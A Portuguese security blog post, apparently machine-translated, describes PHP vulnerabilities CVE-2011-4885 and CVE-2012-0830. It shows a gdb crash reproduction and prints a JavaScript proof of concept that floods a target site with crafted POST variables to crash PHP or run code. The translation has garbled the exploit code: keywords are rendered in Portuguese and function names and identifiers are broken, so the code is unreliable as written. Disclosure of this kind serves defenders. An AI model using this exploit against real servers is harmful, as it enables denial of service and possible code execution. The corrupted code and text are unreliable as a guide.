ClsHack:Computer Security Blog    

PHP 5.3.* gosta de vulnerabilidades DoS


Quase a totalidade da CVE-2011-4885 PHP Denial of Service Hashtables que diz que este:

PHP antes 5.3.9 calcula os valores de hash para os parâmetros de forma, sem limitar a capacidade de desencadear colisões de hash previsivelmente, que permite que atacantes remotos causem uma negação de serviço (Consumo de CPU) enviando muitos parâmetros trabalhada.

Com o upgrade para a versão PHP 5.3.9 introduz a correção de bug:

Max_input_vars directiva adicionada para prevenir ataques baseados em colisões de hash (Dmitry).

max_input_vars Meu exemplo é configurável via php.ini:

Este, max_input_vars no entanto, introduz um novo bug: CVE-2012-0830

Um atacante remoto pode enviar grande número de solicitações POST crafted, o que poderia
acidente php ou executar código arbitrário com as permissões do usuário executando
php.

cat test.php
<?php
print_r( $_GET );
?>

(gdb) run -d max_input_vars=1 /tmp/test.php a[]=1 v[]=2
Starting program: /usr/bin/php-cgi -d max_input_vars=1 /tmp/test.php a[]=1 v[]=2
[Thread debugging using libthread_db enabled]
PHP Warning: Unknown: Input variables exceeded 1. To increase the limit change max_input_vars in php.ini. in Unknown on line 0
PHP Warning: Unknown: Input variables exceeded 1. To increase the limit change max_input_vars in php.ini. in Unknown on line 0
Program received signal SIGSEGV, Segmentation fault.
0x000000000063cb5e in php_register_variable_ex ()
(gdb) ^CQuit

clshack@lb:~$ php-cgi --version
PHP 5.3.9-6~oneiric+2 (cgi-fcgi) (built: Feb 1 2012 15:51:44)
Copyright (c) 1997-2012 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2012 Zend Technologies
clshack@lb:~$

Sempre que a vulnerabilidade é como se segue:

A vulnerabilidade acontece quando o número de variáveis ​​ultrapassa max_input_vars ea variável é uma variável de matriz (se (*p == '[')). Em vez de um caso mais que parar e voltar, o código tem permissão para continuar executando. O código continua a executar até a linha 207, a segunda linha em destaque. Na linha 207, ela está chamando um Z_ARRVAL_PP macro para obter uma referência para a hashtable atualizada. Este é o lugar onde a execução do código pode ocorrer.

Quando o poc para um site remoto, com eo max_input_vars a 1000 [editar por clshack v.v ]:

<!DOCTYPE html PUBLIC "- / / W3C / / DTD XHTML 1.0 Strict / / EN"
	"Http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd~~V ">
<html xmlns = "http://www.w3.org/1999/xhtml" xml:lang = "en" lang = "en">
<head>
	<title>senza nome</title>
	<meta http-equiv = "content-type" content = "text / html;charset = UTF-8" />
	<script>

		// Simples prova de conceito para bug PHP (CVE-2012-0830) descrito por Stefan Esser (@ I0n1c)
		// http://thexploit.com/sec/critical-php-remote-vulnerability-introduced-in-fix-for-php-hashtable-collision-dos/
		// Gerar 1000 teclas normais e uma matriz
 () {
			var = evil_obj {};
			for (onde i = 0; i < 1001; i    ) {
				evil_obEu[i] = 1;
			}
			evil_obj['Matar[]'] = 'Kill';
			voltar evil_obj;
		}
		// Serializar objetos em Javascript dados POST
 (obj) {
			var str = [];
			for(var p and Share) {
				stparaush(p + "=" + obj[p]);
			}
			voltar str.join("&");
		}
		// Executar ataque
 (site)
		{
			var bad = serializeObj(createEvilObj());
			var xhr = new XMLHttpRequest();
			xhr.open("POST", site, verdadeiro);cabeçaxhr.setRequestHeader('application/x-www-form-url'ed');
			xhr.setRequestHeader('Content-Length ", bad.length);
			xhr.send(ruim);

		}
	</script>
</head>

<body>
	<texto de entrada type = '' sítio id = '' value='http://www.example.com'  name = site' >
	<attackSite botão onclick = 'corpoument.getElementById("Site").valor);'> Atacar</botão>
</body>
</html>

Como para o poc CVE-2011-4885 está disponível aqui:
http://www.exploit-db.com/exploits/18296/
E depois há para PHP 5.4SVN-2012-02-03 um estouro de buffer nas htmlspecialchars função / entidades:
Poc:
http://www.exploit-db.com/exploits/18458/~~V

Referências:

http://pastebin.com/qWBrq0A3

http://thexploit.com/sec/critical-php-remote-vulnerability-introduced-in-fix-for-php-hashtable-collision-dos/

http://www.exploit-db.com

Related posts:

  1. RIPS:analisador de código fonte em busca de vulnerabilidades em PHP
  2. [WordPress]Lançado WP-Sentinel 2.0
  3. Ferramentas para DLL pesquisa Sequestro de Vulnerabilidades

Esta entrada foi postada na sexta-feira, 03 de fevereiro, 2012 em 4:07 pm e está arquivada em Hacking, Programação. Você pode acompanhar quaisquer respostas a esta entrada através do RSS 2.0 alimentar. Você pode deixar uma resposta, ou trackback a partir do seu próprio site.

Tagged com: